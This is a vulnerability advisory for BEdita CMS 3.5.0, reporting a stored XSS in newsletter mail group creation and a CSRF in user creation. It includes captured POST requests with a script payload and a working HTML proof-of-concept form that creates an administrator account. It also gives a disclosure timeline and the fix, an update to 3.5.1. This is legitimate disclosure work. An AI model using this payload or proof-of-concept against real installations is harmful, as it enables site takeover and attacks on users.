BEdita CMS - XSS & CSRF Vulnerability in Version 3.5.0

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Product Information:

Software: BEdita CMS
Tested Version: 3.5.0, released 19.1.2015
Vulnerability Type: Cross-Site Scripting (CWE-79) & Cross-Site Request Forgery, CSRF (CWE-352)
Download link: http://www.bedita.com/download-bedita
Description: A software to create, manage content and organize it with semantic rules. (copied from http://www.bedita.com/what-is-bedita)

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Issues:

1) XSS in newsletter mail group creation page.
2) CSRF in user creation page.

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Vulnerability description:

1) XSS in newsletter mail group creation page

When an authenticated user of BEdita CMS is creating a newsletter mail group, the following POST request is sent to the server:

POST /bedita-3.5.0.corylus.2261e29/bedita/index.php/newsletter/saveMailGroups HTTP/1.1
Host: 127.0.0.1
Proxy-Connection: keep-alive
Content-Length: 523
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1/bedita-3.5.0.corylus.2261e29/bedita/index.php/newsletter/viewMailGroup/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: CAKEPHP=me57vjaqc2ts154qr342a6u6i2; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_sortsel=field_name; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_ordersel=ASC; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_limitsel=15; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_filtersel=default; flash=yes; PHPSESSID=tg14v79ionj9d7lpelap300p33; cms-panel-collapsed-cms-menu=false; cms-panel-collapsed-cms-content-tools-CMSPagesController=true; cms-panel-collapsed-cms-content-tools-CMSMain=false; _ga=GA1.1.621011711.1425057132

data[MailGroup][id]=&data[MailGroup][group_name]=<script>alert(0)</script>&data[MailGroup][area_id]=1&data[MailGroup][visible]=1&data[MailGroup][security]=none&data[MailGroup][confirmation_in_message]=Hi [$user], 

your+subscription+is+now+active,+soon+you'll+receive+the "[$title]"+newsletter.&data[MailGroup][confirmation_out_message]=Hi [$user], 

you+have+been+unsubscribed+from "[$title]"

The parameter data[MailGroup][group_name] is vulnerable to XSS.

2) CSRF in user creation page

When an authenticated administrative user of BEdita CMS is creating an user, the following POST request is sent to the server:

POST /bedita-3.5.0.corylus.2261e29/bedita/index.php/users/saveUser HTTP/1.1
Host: 127.0.0.1
Proxy-Connection: keep-alive
Content-Length: 339
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1/bedita-3.5.0.corylus.2261e29/bedita/index.php/users/viewUser
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: CAKEPHP=me57vjaqc2ts154qr342a6u6i2; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_sortsel=field_name; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_ordersel=ASC; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_limitsel=15; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_filtersel=default; flash=yes; PHPSESSID=tg14v79ionj9d7lpelap300p33; cms-panel-collapsed-cms-menu=false; cms-panel-collapsed-cms-content-tools-CMSPagesController=true; cms-panel-collapsed-cms-content-tools-CMSMain=false; _ga=GA1.1.621011711.1425057132

data[User][auth_type]=bedita&data[User][userid]=csrfadmin99&data[User][auth_params][userid]=&pwd=1qazXSW@&data[User][passwd]=1qazXSW@&data[User][realname]=csrfadmin99&data[User][email]=csrfadmin99@admin.com&data[User][valid]=1&groups=&data[groups][administrator]=on

By executing the following Proof-of-Concept, a new user called "csrfadmin99" will be created with the password "1qazXSW@".

<html>
<body>
<form action="http://127.0.0.1/bedita-3.5.0.corylus.2261e29/bedita/index.php/users/saveUser" method="POST">
<input type="hidden" name="data[User][auth_type]" value="bedita" />
<input type="hidden" name="data[User][userid]" value="csrfadmin99" />
<input type="hidden" name="pwd" value="1qazXSW@" />
<input type="hidden" name="data[User][passwd]" value="1qazXSW@" />
<input type="hidden" name="data[User][realname]" value="csrfadmin99" />
<input type="hidden" name="data[User][email]" value="csrfadmin99@admin.com" />
<input type="hidden" name="data[User][valid]" value="1" />
<input type="hidden" name="data[groups][administrator]" value="on" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

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Impact:

1) An attacker is able to leverage on the XSS vulnerability to exploit users of BEdita. An example would be to Inject malicious JavaScript code in order to use attacking tools like BeEF.
2) An attacker is able to create an user account with administrator privilege.

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Solution:

Update to the latest version, which is 3.5.1, see https://groups.google.com/forum/?fromgroups#!topic/bedita/SOYrl5C-YRg

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Timeline:

Vulnerability found: 11.2.2015
Vendor informed: 11.2.2015
Response by vendor: 11.2.2015
Fix by vendor 19.2.2015
Public Advisory: 1.3.2015

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References:
https://github.com/bedita/bedita/issues/591
https://github.com/bedita/bedita/issues/597

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Best regards,
Edric Teo